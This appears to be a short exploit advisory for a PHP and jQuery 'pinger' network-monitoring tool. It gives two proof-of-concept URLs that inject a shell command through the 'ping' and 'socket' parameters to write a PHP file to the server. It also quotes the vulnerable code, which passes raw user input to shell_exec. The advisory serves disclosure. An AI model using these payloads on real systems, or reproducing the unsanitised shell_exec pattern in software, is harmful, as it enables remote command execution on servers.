# Description:
simple, easy to use jQuery frontend to php backend that pings various
devices and changes colors from green to red depending on if device is
up or down.

# PoC :

http://localhost/pinger/ping.php?ping=;echo '<?php phpinfo(); ?>' >info.php
http://localhost/pinger/ping.php?socket=;echo '<?php phpinfo(); ?>' >info.php


# Vulnerabile code:

  if(isset($_GET['ping'])){
    // if this is ever noticably slower, i'll pass it stuff when called
    // change the good.xml to config.xml, good is what I use at $WORK
    $xml = simplexml_load_file("config.xml");
    //$xml = simplexml_load_file("good.xml");
    if($_GET['ping'] == ""){
      $host = "127.0.0.1";
    }else{
      $host = $_GET['ping'];
    }
    $out = trim(shell_exec('ping -n -q -c 1 -w '.$xml->backend->timeout
                .' '.$host.' | grep received | awk \'{print $4}\''));
    $id = str_replace('.','_',$host);

    if(($out == "1") || ($out == "0")){
      echo json_encode(array("id"=>"h$id","res"=>"$out"));
    }else{
      ## if it returns nothing, assume network is messed up
      echo json_encode(array("id"=>"h$id","res"=>"0"));
    }
  }

  if(isset($_GET['socket'])){
    $xml = simplexml_load_file("config.xml");
    //$xml = simplexml_load_file("good.xml");
    if($_GET['socket'] == ""){
      $host = "127.0.0.1 80";
    }else{
      $host = str_replace(':',' ',$_GET['socket']);
    }
    $out = shell_exec('nc -v -z -w '.$xml->backend->timeout.' '.$host.' 2>&1');
    $id = str_replace('.','_',$host);
    $id = str_replace(' ','_',$id);
    if(preg_match("/succeeded/",$out)){
      echo json_encode(array("id"=>"h$id","res"=>"1"));
    }else{
      ## if it returns nothing, assume network is messed up
      echo json_encode(array("id"=>"h$id","res"=>"0"));
    }
  }
